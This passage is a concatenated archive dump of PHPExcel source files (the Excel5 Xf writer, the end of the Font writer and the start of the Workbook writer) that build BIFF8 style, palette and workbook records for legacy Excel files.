PHPExcel_Shared_String::UTF8toBIFF8UnicodeShort($this->font->getName()); $length = strlen($data); $header = pack("vv", $record, $length); return($header . $data); } /** * Map to BIFF5-BIFF8 codes for bold * * @param boolean $bold * @return int */ private static function mapBold($bold) { if ($bold) { return 0x2BC; // 700 = Bold font weight } return 0x190; // 400 = Normal font weight } /** * Map of BIFF2-BIFF8 codes for underline styles * @static array of int * */ private static $mapUnderline = array( PHPExcel_Style_Font::UNDERLINE_NONE => 0x00, PHPExcel_Style_Font::UNDERLINE_SINGLE => 0x01, PHPExcel_Style_Font::UNDERLINE_DOUBLE => 0x02, PHPExcel_Style_Font::UNDERLINE_SINGLEACCOUNTING => 0x21, PHPExcel_Style_Font::UNDERLINE_DOUBLEACCOUNTING => 0x22, ); /** * Map underline * * @param string * @return int */ private static function mapUnderline($underline) { if (isset(self::$mapUnderline[$underline])) { return self::$mapUnderline[$underline]; } return 0x00; } } PHPExcel/Writer/Excel5/Xf.php 0000644 00000044444 14642534110 0011655 0 ustar 00 <?php /** * PHPExcel_Writer_Excel5_Xf * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_Excel5 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ // Original file header of PEAR::Spreadsheet_Excel_Writer_Format (used as the base for this class): // ----------------------------------------------------------------------------------------- // /* // * Module written/ported by Xavier Noguer <xnoguer@rezebra.com> // * // * The majority of this is _NOT_ my code. I simply ported it from the // * PERL Spreadsheet::WriteExcel module. // * // * The author of the Spreadsheet::WriteExcel module is John McNamara // * <jmcnamara@cpan.org> // * // * I _DO_ maintain this code, and John McNamara has nothing to do with the // * porting of this code to PHP. Any questions directly related to this // * class library should be directed to me. // * // * License Information: // * // * Spreadsheet_Excel_Writer: A library for generating Excel Spreadsheets // * Copyright (c) 2002-2003 Xavier Noguer xnoguer@rezebra.com // * // * This library is free software; you can redistribute it and/or // * modify it under the terms of the GNU Lesser General Public // * License as published by the Free Software Foundation; either // * version 2.1 of the License, or (at your option) any later version. // * // * This library is distributed in the hope that it will be useful, // * but WITHOUT ANY WARRANTY; without even the implied warranty of // * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // * Lesser General Public License for more details. // * // * You should have received a copy of the GNU Lesser General Public // * License along with this library; if not, write to the Free Software // * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA // */ class PHPExcel_Writer_Excel5_Xf { /** * Style XF or a cell XF ? * * @var boolean */ private $isStyleXf; /** * Index to the FONT record. Index 4 does not exist * @var integer */ private $fontIndex; /** * An index (2 bytes) to a FORMAT record (number format). * @var integer */ private $numberFormatIndex; /** * 1 bit, apparently not used. * @var integer */ private $textJustLast; /** * The cell's foreground color. * @var integer */ private $foregroundColor; /** * The cell's background color. * @var integer */ private $backgroundColor; /** * Color of the bottom border of the cell. * @var integer */ private $bottomBorderColor; /** * Color of the top border of the cell. * @var integer */ private $topBorderColor; /** * Color of the left border of the cell. * @var integer */ private $leftBorderColor; /** * Color of the right border of the cell. * @var integer */ private $rightBorderColor; /** * Constructor * * @access public * @param PHPExcel_Style The XF format */ public function __construct(PHPExcel_Style $style = null) { $this->isStyleXf = false; $this->fontIndex = 0; $this->numberFormatIndex = 0; $this->textJustLast = 0; $this->foregroundColor = 0x40; $this->backgroundColor = 0x41; $this->_diag = 0; $this->bottomBorderColor = 0x40; $this->topBorderColor = 0x40; $this->leftBorderColor = 0x40; $this->rightBorderColor = 0x40; $this->_diag_color = 0x40; $this->_style = $style; } /** * Generate an Excel BIFF XF record (style or cell). * * @return string The XF record */ public function writeXf() { // Set the type of the XF record and some of the attributes. if ($this->isStyleXf) { $style = 0xFFF5; } else { $style = self::mapLocked($this->_style->getProtection()->getLocked()); $style |= self::mapHidden($this->_style->getProtection()->getHidden()) << 1; } // Flags to indicate if attributes have been set. $atr_num = ($this->numberFormatIndex != 0)?1:0; $atr_fnt = ($this->fontIndex != 0)?1:0; $atr_alc = ((int) $this->_style->getAlignment()->getWrapText()) ? 1 : 0; $atr_bdr = (self::mapBorderStyle($this->_style->getBorders()->getBottom()->getBorderStyle()) || self::mapBorderStyle($this->_style->getBorders()->getTop()->getBorderStyle()) || self::mapBorderStyle($this->_style->getBorders()->getLeft()->getBorderStyle()) || self::mapBorderStyle($this->_style->getBorders()->getRight()->getBorderStyle()))?1:0; $atr_pat = (($this->foregroundColor != 0x40) || ($this->backgroundColor != 0x41) || self::mapFillType($this->_style->getFill()->getFillType()))?1:0; $atr_prot = self::mapLocked($this->_style->getProtection()->getLocked()) | self::mapHidden($this->_style->getProtection()->getHidden()); // Zero the default border colour if the border has not been set. if (self::mapBorderStyle($this->_style->getBorders()->getBottom()->getBorderStyle()) == 0) { $this->bottomBorderColor = 0; } if (self::mapBorderStyle($this->_style->getBorders()->getTop()->getBorderStyle()) == 0) { $this->topBorderColor = 0; } if (self::mapBorderStyle($this->_style->getBorders()->getRight()->getBorderStyle()) == 0) { $this->rightBorderColor = 0; } if (self::mapBorderStyle($this->_style->getBorders()->getLeft()->getBorderStyle()) == 0) { $this->leftBorderColor = 0; } if (self::mapBorderStyle($this->_style->getBorders()->getDiagonal()->getBorderStyle()) == 0) { $this->_diag_color = 0; } $record = 0x00E0; // Record identifier $length = 0x0014; // Number of bytes to follow $ifnt = $this->fontIndex; // Index to FONT record $ifmt = $this->numberFormatIndex; // Index to FORMAT record $align = $this->mapHAlign($this->_style->getAlignment()->getHorizontal()); // Alignment $align |= (int) $this->_style->getAlignment()->getWrapText() << 3; $align |= self::mapVAlign($this->_style->getAlignment()->getVertical()) << 4; $align |= $this->textJustLast << 7; $used_attrib = $atr_num << 2; $used_attrib |= $atr_fnt << 3; $used_attrib |= $atr_alc << 4; $used_attrib |= $atr_bdr << 5; $used_attrib |= $atr_pat << 6; $used_attrib |= $atr_prot << 7; $icv = $this->foregroundColor; // fg and bg pattern colors $icv |= $this->backgroundColor << 7; $border1 = self::mapBorderStyle($this->_style->getBorders()->getLeft()->getBorderStyle()); // Border line style and color $border1 |= self::mapBorderStyle($this->_style->getBorders()->getRight()->getBorderStyle()) << 4; $border1 |= self::mapBorderStyle($this->_style->getBorders()->getTop()->getBorderStyle()) << 8; $border1 |= self::mapBorderStyle($this->_style->getBorders()->getBottom()->getBorderStyle()) << 12; $border1 |= $this->leftBorderColor << 16; $border1 |= $this->rightBorderColor << 23; $diagonalDirection = $this->_style->getBorders()->getDiagonalDirection(); $diag_tl_to_rb = $diagonalDirection == PHPExcel_Style_Borders::DIAGONAL_BOTH || $diagonalDirection == PHPExcel_Style_Borders::DIAGONAL_DOWN; $diag_tr_to_lb = $diagonalDirection == PHPExcel_Style_Borders::DIAGONAL_BOTH || $diagonalDirection == PHPExcel_Style_Borders::DIAGONAL_UP; $border1 |= $diag_tl_to_rb << 30; $border1 |= $diag_tr_to_lb << 31; $border2 = $this->topBorderColor; // Border color $border2 |= $this->bottomBorderColor << 7; $border2 |= $this->_diag_color << 14; $border2 |= self::mapBorderStyle($this->_style->getBorders()->getDiagonal()->getBorderStyle()) << 21; $border2 |= self::mapFillType($this->_style->getFill()->getFillType()) << 26; $header = pack("vv", $record, $length); //BIFF8 options: identation, shrinkToFit and text direction $biff8_options = $this->_style->getAlignment()->getIndent(); $biff8_options |= (int) $this->_style->getAlignment()->getShrinkToFit() << 4; $data = pack("vvvC", $ifnt, $ifmt, $style, $align); $data .= pack("CCC", self::mapTextRotation($this->_style->getAlignment()->getTextRotation()), $biff8_options, $used_attrib); $data .= pack("VVv", $border1, $border2, $icv); return($header . $data); } /** * Is this a style XF ? * * @param boolean $value */ public function setIsStyleXf($value) { $this->isStyleXf = $value; } /** * Sets the cell's bottom border color * * @access public * @param int $colorIndex Color index */ public function setBottomColor($colorIndex) { $this->bottomBorderColor = $colorIndex; } /** * Sets the cell's top border color * * @access public * @param int $colorIndex Color index */ public function setTopColor($colorIndex) { $this->topBorderColor = $colorIndex; } /** * Sets the cell's left border color * * @access public * @param int $colorIndex Color index */ public function setLeftColor($colorIndex) { $this->leftBorderColor = $colorIndex; } /** * Sets the cell's right border color * * @access public * @param int $colorIndex Color index */ public function setRightColor($colorIndex) { $this->rightBorderColor = $colorIndex; } /** * Sets the cell's diagonal border color * * @access public * @param int $colorIndex Color index */ public function setDiagColor($colorIndex) { $this->_diag_color = $colorIndex; } /** * Sets the cell's foreground color * * @access public * @param int $colorIndex Color index */ public function setFgColor($colorIndex) { $this->foregroundColor = $colorIndex; } /** * Sets the cell's background color * * @access public * @param int $colorIndex Color index */ public function setBgColor($colorIndex) { $this->backgroundColor = $colorIndex; } /** * Sets the index to the number format record * It can be date, time, currency, etc... * * @access public * @param integer $numberFormatIndex Index to format record */ public function setNumberFormatIndex($numberFormatIndex) { $this->numberFormatIndex = $numberFormatIndex; } /** * Set the font index. * * @param int $value Font index, note that value 4 does not exist */ public function setFontIndex($value) { $this->fontIndex = $value; } /** * Map of BIFF2-BIFF8 codes for border styles * @static array of int * */ private static $mapBorderStyles = array( PHPExcel_Style_Border::BORDER_NONE => 0x00, PHPExcel_Style_Border::BORDER_THIN => 0x01, PHPExcel_Style_Border::BORDER_MEDIUM => 0x02, PHPExcel_Style_Border::BORDER_DASHED => 0x03, PHPExcel_Style_Border::BORDER_DOTTED => 0x04, PHPExcel_Style_Border::BORDER_THICK => 0x05, PHPExcel_Style_Border::BORDER_DOUBLE => 0x06, PHPExcel_Style_Border::BORDER_HAIR => 0x07, PHPExcel_Style_Border::BORDER_MEDIUMDASHED => 0x08, PHPExcel_Style_Border::BORDER_DASHDOT => 0x09, PHPExcel_Style_Border::BORDER_MEDIUMDASHDOT => 0x0A, PHPExcel_Style_Border::BORDER_DASHDOTDOT => 0x0B, PHPExcel_Style_Border::BORDER_MEDIUMDASHDOTDOT => 0x0C, PHPExcel_Style_Border::BORDER_SLANTDASHDOT => 0x0D, ); /** * Map border style * * @param string $borderStyle * @return int */ private static function mapBorderStyle($borderStyle) { if (isset(self::$mapBorderStyles[$borderStyle])) { return self::$mapBorderStyles[$borderStyle]; } return 0x00; } /** * Map of BIFF2-BIFF8 codes for fill types * @static array of int * */ private static $mapFillTypes = array( PHPExcel_Style_Fill::FILL_NONE => 0x00, PHPExcel_Style_Fill::FILL_SOLID => 0x01, PHPExcel_Style_Fill::FILL_PATTERN_MEDIUMGRAY => 0x02, PHPExcel_Style_Fill::FILL_PATTERN_DARKGRAY => 0x03, PHPExcel_Style_Fill::FILL_PATTERN_LIGHTGRAY => 0x04, PHPExcel_Style_Fill::FILL_PATTERN_DARKHORIZONTAL => 0x05, PHPExcel_Style_Fill::FILL_PATTERN_DARKVERTICAL => 0x06, PHPExcel_Style_Fill::FILL_PATTERN_DARKDOWN => 0x07, PHPExcel_Style_Fill::FILL_PATTERN_DARKUP => 0x08, PHPExcel_Style_Fill::FILL_PATTERN_DARKGRID => 0x09, PHPExcel_Style_Fill::FILL_PATTERN_DARKTRELLIS => 0x0A, PHPExcel_Style_Fill::FILL_PATTERN_LIGHTHORIZONTAL => 0x0B, PHPExcel_Style_Fill::FILL_PATTERN_LIGHTVERTICAL => 0x0C, PHPExcel_Style_Fill::FILL_PATTERN_LIGHTDOWN => 0x0D, PHPExcel_Style_Fill::FILL_PATTERN_LIGHTUP => 0x0E, PHPExcel_Style_Fill::FILL_PATTERN_LIGHTGRID => 0x0F, PHPExcel_Style_Fill::FILL_PATTERN_LIGHTTRELLIS => 0x10, PHPExcel_Style_Fill::FILL_PATTERN_GRAY125 => 0x11, PHPExcel_Style_Fill::FILL_PATTERN_GRAY0625 => 0x12, PHPExcel_Style_Fill::FILL_GRADIENT_LINEAR => 0x00, // does not exist in BIFF8 PHPExcel_Style_Fill::FILL_GRADIENT_PATH => 0x00, // does not exist in BIFF8 ); /** * Map fill type * * @param string $fillType * @return int */ private static function mapFillType($fillType) { if (isset(self::$mapFillTypes[$fillType])) { return self::$mapFillTypes[$fillType]; } return 0x00; } /** * Map of BIFF2-BIFF8 codes for horizontal alignment * @static array of int * */ private static $mapHAlignments = array( PHPExcel_Style_Alignment::HORIZONTAL_GENERAL => 0, PHPExcel_Style_Alignment::HORIZONTAL_LEFT => 1, PHPExcel_Style_Alignment::HORIZONTAL_CENTER => 2, PHPExcel_Style_Alignment::HORIZONTAL_RIGHT => 3, PHPExcel_Style_Alignment::HORIZONTAL_FILL => 4, PHPExcel_Style_Alignment::HORIZONTAL_JUSTIFY => 5, PHPExcel_Style_Alignment::HORIZONTAL_CENTER_CONTINUOUS => 6, ); /** * Map to BIFF2-BIFF8 codes for horizontal alignment * * @param string $hAlign * @return int */ private function mapHAlign($hAlign) { if (isset(self::$mapHAlignments[$hAlign])) { return self::$mapHAlignments[$hAlign]; } return 0; } /** * Map of BIFF2-BIFF8 codes for vertical alignment * @static array of int * */ private static $mapVAlignments = array( PHPExcel_Style_Alignment::VERTICAL_TOP => 0, PHPExcel_Style_Alignment::VERTICAL_CENTER => 1, PHPExcel_Style_Alignment::VERTICAL_BOTTOM => 2, PHPExcel_Style_Alignment::VERTICAL_JUSTIFY => 3, ); /** * Map to BIFF2-BIFF8 codes for vertical alignment * * @param string $vAlign * @return int */ private static function mapVAlign($vAlign) { if (isset(self::$mapVAlignments[$vAlign])) { return self::$mapVAlignments[$vAlign]; } return 2; } /** * Map to BIFF8 codes for text rotation angle * * @param int $textRotation * @return int */ private static function mapTextRotation($textRotation) { if ($textRotation >= 0) { return $textRotation; } elseif ($textRotation == -165) { return 255; } elseif ($textRotation < 0) { return 90 - $textRotation; } } /** * Map locked * * @param string * @return int */ private static function mapLocked($locked) { switch ($locked) { case PHPExcel_Style_Protection::PROTECTION_INHERIT: return 1; case PHPExcel_Style_Protection::PROTECTION_PROTECTED: return 1; case PHPExcel_Style_Protection::PROTECTION_UNPROTECTED: return 0; default: return 1; } } /** * Map hidden * * @param string * @return int */ private static function mapHidden($hidden) { switch ($hidden) { case PHPExcel_Style_Protection::PROTECTION_INHERIT: return 0; case PHPExcel_Style_Protection::PROTECTION_PROTECTED: return 1; case PHPExcel_Style_Protection::PROTECTION_UNPROTECTED: return 0; default: return 0; } } } PHPExcel/Writer/Excel5/Workbook.php 0000644 00000147765 14642534110 0013107 0 ustar 00 <?php /** * PHPExcel_Writer_Excel5_Workbook * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_Excel5 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ // Original file header of PEAR::Spreadsheet_Excel_Writer_Workbook (used as the base for this class): // ----------------------------------------------------------------------------------------- // /* // * Module written/ported by Xavier Noguer <xnoguer@rezebra.com> // * // * The majority of this is _NOT_ my code. I simply ported it from the // * PERL Spreadsheet::WriteExcel module. // * // * The author of the Spreadsheet::WriteExcel module is John McNamara // * <jmcnamara@cpan.org> // * // * I _DO_ maintain this code, and John McNamara has nothing to do with the // * porting of this code to PHP. Any questions directly related to this // * class library should be directed to me. // * // * License Information: // * // * Spreadsheet_Excel_Writer: A library for generating Excel Spreadsheets // * Copyright (c) 2002-2003 Xavier Noguer xnoguer@rezebra.com // * // * This library is free software; you can redistribute it and/or // * modify it under the terms of the GNU Lesser General Public // * License as published by the Free Software Foundation; either // * version 2.1 of the License, or (at your option) any later version. // * // * This library is distributed in the hope that it will be useful, // * but WITHOUT ANY WARRANTY; without even the implied warranty of // * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // * Lesser General Public License for more details. // * // * You should have received a copy of the GNU Lesser General Public // * License along with this library; if not, write to the Free Software // * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA // */ class PHPExcel_Writer_Excel5_Workbook extends PHPExcel_Writer_Excel5_BIFFwriter { /** * Formula parser * * @var PHPExcel_Writer_Excel5_Parser */ private $parser; /** * The BIFF file size for the workbook. * @var integer * @see calcSheetOffsets() */ private $biffSize; /** * XF Writers * @var PHPExcel_Writer_Excel5_Xf[] */ private $xfWriters = array(); /** * Array containing the colour palette * @var array */ private $palette; /** * The codepage indicates the text encoding used for strings * @var integer */ private $codepage; /** * The country code used for localization * @var integer */ private $countryCode; /** * Workbook * @var PHPExcel */ private $phpExcel; /** * Fonts writers * * @var PHPExcel_Writer_Excel5_Font[] */ private $fontWriters = array(); /** * Added fonts. Maps from font's hash => index in workbook * * @var array */ private $addedFonts = array(); /** * Shared number formats * * @var array */ private $numberFormats = array(); /** * Added number formats. Maps from numberFormat's hash => index in workbook * * @var array */ private $addedNumberFormats = array(); /** * Sizes of the binary worksheet streams * * @var array */ private $worksheetSizes = array(); /** * Offsets of the binary worksheet streams relative to the start of the global workbook stream * * @var array */ private $worksheetOffsets = array(); /** * Total number of shared strings in workbook * * @var int */ private $stringTotal; /** * Number of unique shared strings in workbook * * @var int */ private $stringUnique; /** * Array of unique shared strings in workbook * * @var array */ private $stringTable; /** * Color cache */ private $colors; /** * Escher object corresponding to MSODRAWINGGROUP * * @var PHPExcel_Shared_Escher */ private $escher; /** * Class constructor * * @param PHPExcel $phpExcel The Workbook * @param int &$str_total Total number of strings * @param int &$str_unique Total number of unique strings * @param array &$str_table String Table * @param array &$colors Colour Table * @param mixed $parser The formula parser created for the Workbook */ public function __construct(PHPExcel $phpExcel = null, &$str_total, &$str_unique, &$str_table, &$colors, $parser) { // It needs to call its parent's constructor explicitly parent::__construct(); $this->parser = $parser; $this->biffSize = 0; $this->palette = array(); $this->countryCode = -1; $this->stringTotal = &$str_total; $this->stringUnique = &$str_unique; $this->stringTable = &$str_table; $this->colors = &$colors; $this->setPaletteXl97(); $this->phpExcel = $phpExcel; // set BIFFwriter limit for CONTINUE records // $this->_limit = 8224; $this->codepage = 0x04B0; // Add empty sheets and Build color cache $countSheets = $phpExcel->getSheetCount(); for ($i = 0; $i < $countSheets; ++$i) { $phpSheet = $phpExcel->getSheet($i); $this->parser->setExtSheet($phpSheet->getTitle(), $i); // Register worksheet name with parser $supbook_index = 0x00; $ref = pack('vvv', $supbook_index, $i, $i); $this->parser->references[] = $ref; // Register reference with parser // Sheet tab colors? if ($phpSheet->isTabColorSet()) { $this->addColor($phpSheet->getTabColor()->getRGB()); } } } /** * Add a new XF writer * * @param PHPExcel_Style * @param boolean Is it a style XF? * @return int Index to XF record */ public function addXfWriter($style, $isStyleXf = false) { $xfWriter = new PHPExcel_Writer_Excel5_Xf($style); $xfWriter->setIsStyleXf($isStyleXf); // Add the font if not already added $fontIndex = $this->addFont($style->getFont()); // Assign the font index to the xf record $xfWriter->setFontIndex($fontIndex); // Background colors, best to treat these after the font so black will come after white in custom palette $xfWriter->setFgColor($this->addColor($style->getFill()->getStartColor()->getRGB())); $xfWriter->setBgColor($this->addColor($style->getFill()->getEndColor()->getRGB())); $xfWriter->setBottomColor($this->addColor($style->getBorders()->getBottom()->getColor()->getRGB())); $xfWriter->setTopColor($this->addColor($style->getBorders()->getTop()->getColor()->getRGB())); $xfWriter->setRightColor($this->addColor($style->getBorders()->getRight()->getColor()->getRGB())); $xfWriter->setLeftColor($this->addColor($style->getBorders()->getLeft()->getColor()->getRGB())); $xfWriter->setDiagColor($this->addColor($style->getBorders()->getDiagonal()->getColor()->getRGB())); // Add the number format if it is not a built-in one and not already added if ($style->getNumberFormat()->getBuiltInFormatCode() === false) { $numberFormatHashCode = $style->getNumberFormat()->getHashCode(); if (isset($this->addedNumberFormats[$numberFormatHashCode])) { $numberFormatIndex = $this->addedNumberFormats[$numberFormatHashCode]; } else { $numberFormatIndex = 164 + count($this->numberFormats); $this->numberFormats[$numberFormatIndex] = $style->getNumberFormat(); $this->addedNumberFormats[$numberFormatHashCode] = $numberFormatIndex; } } else { $numberFormatIndex = (int) $style->getNumberFormat()->getBuiltInFormatCode(); } // Assign the number format index to xf record $xfWriter->setNumberFormatIndex($numberFormatIndex); $this->xfWriters[] = $xfWriter; $xfIndex = count($this->xfWriters) - 1; return $xfIndex; } /** * Add a font to added fonts * * @param PHPExcel_Style_Font $font * @return int Index to FONT record */ public function addFont(PHPExcel_Style_Font $font) { $fontHashCode = $font->getHashCode(); if (isset($this->addedFonts[$fontHashCode])) { $fontIndex = $this->addedFonts[$fontHashCode]; } else { $countFonts = count($this->fontWriters); $fontIndex = ($countFonts < 4) ? $countFonts : $countFonts + 1; $fontWriter = new PHPExcel_Writer_Excel5_Font($font); $fontWriter->setColorIndex($this->addColor($font->getColor()->getRGB())); $this->fontWriters[] = $fontWriter; $this->addedFonts[$fontHashCode] = $fontIndex; } return $fontIndex; } /** * Alter color palette adding a custom color * * @param string $rgb E.g. 'FF00AA' * @return int Color index */ private function addColor($rgb) { if (!isset($this->colors[$rgb])) { if (count($this->colors) < 57) { // then we add a custom color altering the palette $colorIndex = 8 + count($this->colors); $this->palette[$colorIndex] = array( hexdec(substr($rgb, 0, 2)), hexdec(substr($rgb, 2, 2)), hexdec(substr($rgb, 4)), 0 ); $this->colors[$rgb] = $colorIndex; } else { // no room for more custom colors, just map to black $colorIndex = 0; } } else { // fetch already added custom color $colorIndex = $this->colors[$rgb]; } return $colorIndex; } /** * Sets the colour palette to the Excel 97+ default. * * @access private */ private function setPaletteXl97() { $this->palette = array( 0x08 => array(0x00, 0x00, 0x00, 0x00), 0x09 => array(0xff, 0xff, 0xff, 0x00), 0x0A => array(0xff, 0x00, 0x00, 0x00), 0x0B => array(0x00, 0xff, 0x00, 0x00), 0x0C => array(0x00, 0x00, 0xff, 0x00), 0x0D => array(0xff, 0xff, 0x00, 0x00), 0x0E => array(0xff, 0x00, 0xff, 0x00), 0x0F => array(0x00, 0xff, 0xff, 0x00), 0x10 => array(0x80, 0x00, 0x00, 0x00), 0x11 => array(0x00, 0x80, 0x00, 0x00), 0x12 => array(0x00, 0x00, 0x80, 0x00), 0x13 => array(0x80, 0x80, 0x00, 0x00), 0x14 => array(0x80, 0x00, 0x80, 0x00), 0x15 => array(0x00, 0x80, 0x80, 0x00), 0x16 => array(0xc0, 0xc0, 0xc0, 0x00), 0x17 => array(0x80, 0x80, 0x80, 0x00), 0x18 => array(0x99, 0x99, 0xff, 0x00), 0x19 => array(0x99, 0x33, 0x66, 0x00), 0x1A => array(0xff, 0xff, 0xcc, 0x00), 0x1B => array(0xcc, 0xff, 0xff, 0x00), 0x1C => array(0x66, 0x00, 0x66, 0x00), 0x1D => array(0xff, 0x80, 0x80, 0x00), 0x1E => array(0x00, 0x66, 0xcc, 0x00), 0x1F => array(0xcc, 0xcc, 0xff, 0x00), 0x20 => array(0x00, 0x00, 0x80, 0x00), 0x21 => array(0xff, 0x00, 0xff, 0x00), 0x22 => array(0xff, 0xff, 0x00, 0x00), 0x23 => array(0x00, 0xff, 0xff, 0x00), 0x24 => array(0x80, 0x00, 0x80, 0x00), 0x25 => array(0x80, 0x00, 0x00, 0x00), 0x26 => array(0x00, 0x80, 0x80, 0x00), 0x27 => array(0x00, 0x00, 0xff, 0x00), 0x28 => array(0x00, 0xcc, 0xff, 0x00), 0x29 => array(0xcc, 0xff, 0xff, 0x00), 0x2A => array(0xcc, 0xff, 0xcc, 0x00), 0x2B => array(0xff, 0xff, 0x99, 0x00), 0x2C => array(0x99, 0xcc, 0xff, 0x00), 0x2D => array(0xff, 0x99, 0xcc, 0x00), 0x2E => array(0xcc, 0x99, 0xff, 0x00), 0x2F => array(0xff, 0xcc, 0x99, 0x00), 0x30 => array(0x33, 0x66, 0xff, 0x00), 0x31 => array(0x33, 0xcc, 0xcc, 0x00), 0x32 => array(0x99, 0xcc, 0x00, 0x00), 0x33 => array(0xff, 0xcc, 0x00, 0x00), 0x34 => array(0xff, 0x99, 0x00, 0x00), 0x35 => array(0xff, 0x66, 0x00, 0x00), 0x36 => array(0x66, 0x66, 0x99, 0x00), 0x37 => array(0x96, 0x96, 0x96, 0x00), 0x38 => array(0x00, 0x33, 0x66, 0x00), 0x39 => array(0x33, 0x99, 0x66, 0x00), 0x3A => array(0x00, 0x33, 0x00, 0x00), 0x3B => array(0x33, 0x33, 0x00, 0x00), 0x3C => array(0x99, 0x33, 0x00, 0x00), 0x3D => array(0x99, 0x33, 0x66, 0x00), 0x3E => array(0x33, 0x33, 0x99, 0x00), 0x3F => array(0x33, 0x33, 0x33, 0x00), ); } /** * Assemble worksheets into a workbook and send the BIFF data to an OLE * storage. * * @param array $pWorksheetSizes The sizes in bytes of the binary worksheet streams * @return string Binary data for workbook stream */ public function writeWorkbook($pWorksheetSizes = null) { $this->worksheetSizes = $pWorksheetSizes; // Calculate the number of selected worksheet tabs and call the finalization // methods for each worksheet $total_worksheets = $this->phpExcel->getSheetCount(); // Add part 1 of the Workbook globals, what goes before the SHEET records $this->storeBof(0x0005); $this->writeCodepage(); $this->writeWindow1(); $this->writeDateMode(); $this->writeAllFonts(); $this->writeAllNumberFormats(); $this->writeAllXfs(); $this->writeAllStyles(); $this->writePalette(); // Prepare part 3 of the workbook global stream, what goes after the SHEET records $part3 = ''; if ($this->countryCode != -1) { $part3 .= $this->writeCountry(); } $part3 .= $this->writeRecalcId(); $part3 .= $this->writeSupbookInternal(); /* TODO: store external SUPBOOK records and XCT and CRN records in case of external references for BIFF8 */ $part3 .= $this->writeExternalsheetBiff8(); $part3 .= $this->writeAllDefinedNamesBiff8(); $part3 .= $this->writeMsoDrawingGroup(); $part3 .= $this->writeSharedStringsTable(); $part3 .= $this->writeEof(); // Add part 2 of the Workbook globals, the SHEET records $this->calcSheetOffsets(); for ($i = 0; $i < $total_worksheets; ++$i) { $this->writeBoundSheet($this->phpExcel->getSheet($i), $this->worksheetOffsets[$i]); } // Add part 3 of the Workbook globals $this->_data .= $part3; return $this->_data; } /** * Calculate offsets for Worksheet BOF records. * * @access private */ private function calcSheetOffsets() { $boundsheet_length = 10; // fixed length for a BOUNDSHEET record // size of Workbook globals part 1 + 3 $offset = $this->_datasize; // add size of Workbook globals part 2, the length of the SHEET records $total_worksheets = count($this->phpExcel->getAllSheets()); foreach ($this->phpExcel->getWorksheetIterator() as $sheet) { $offset += $boundsheet_length + strlen(PHPExcel_Shared_String::UTF8toBIFF8UnicodeShort($sheet->getTitle())); } // add the sizes of each of the Sheet substreams, respectively for ($i = 0; $i < $total_worksheets; ++$i) { $this->worksheetOffsets[$i] = $offset; $offset += $this->worksheetSizes[$i]; } $this->biffSize = $offset; } /** * Store the Excel FONT records. */ private function writeAllFonts() { foreach ($this->fontWriters as $fontWriter) { $this->append($fontWriter->writeFont()); } } /** * Store user defined numerical formats i.e. FORMAT records */ private function writeAllNumberFormats() { foreach ($this->numberFormats as $numberFormatIndex => $numberFormat) { $this->writeNumberFormat($numberFormat->getFormatCode(), $numberFormatIndex); } } /** * Write all XF records. */ private function writeAllXfs() { foreach ($this->xfWriters as $xfWriter) { $this->append($xfWriter->writeXf()); } } /** * Write all STYLE records. */ private function writeAllStyles() { $this->writeStyle(); } /** * Write the EXTERNCOUNT and EXTERNSHEET records. These are used as indexes for * the NAME records. */ private function writeExternals() { $countSheets = $this->phpExcel->getSheetCount(); // Create EXTERNCOUNT with number of worksheets $this->writeExternalCount($countSheets); // Create EXTERNSHEET for each worksheet for ($i = 0; $i < $countSheets; ++$i) { $this->writeExternalSheet($this->phpExcel->getSheet($i)->getTitle()); } } /** * Write the NAME record to define the print area and the repeat rows and cols. */ private function writeNames() { // total number of sheets $total_worksheets = $this->phpExcel->getSheetCount(); // Create the print area NAME records for ($i = 0; $i < $total_worksheets; ++$i) { $sheetSetup = $this->phpExcel->getSheet($i)->getPageSetup(); // Write a Name record if the print area has been defined if ($sheetSetup->isPrintAreaSet()) { // Print area $printArea = PHPExcel_Cell::splitRange($sheetSetup->getPrintArea()); $printArea = $printArea[0]; $printArea[0] = PHPExcel_Cell::coordinateFromString($printArea[0]); $printArea[1] = PHPExcel_Cell::coordinateFromString($printArea[1]); $print_rowmin = $printArea[0][1] - 1; $print_rowmax = $printArea[1][1] - 1; $print_colmin = PHPExcel_Cell::columnIndexFromString($printArea[0][0]) - 1; $print_colmax = PHPExcel_Cell::columnIndexFromString($printArea[1][0]) - 1; $this->writeNameShort( $i, // sheet index 0x06, // NAME type $print_rowmin, $print_rowmax, $print_colmin, $print_colmax ); } } // Create the print title NAME records for ($i = 0; $i < $total_worksheets; ++$i) { $sheetSetup = $this->phpExcel->getSheet($i)->getPageSetup(); // simultaneous repeatColumns repeatRows if ($sheetSetup->isColumnsToRepeatAtLeftSet() && $sheetSetup->isRowsToRepeatAtTopSet()) { $repeat = 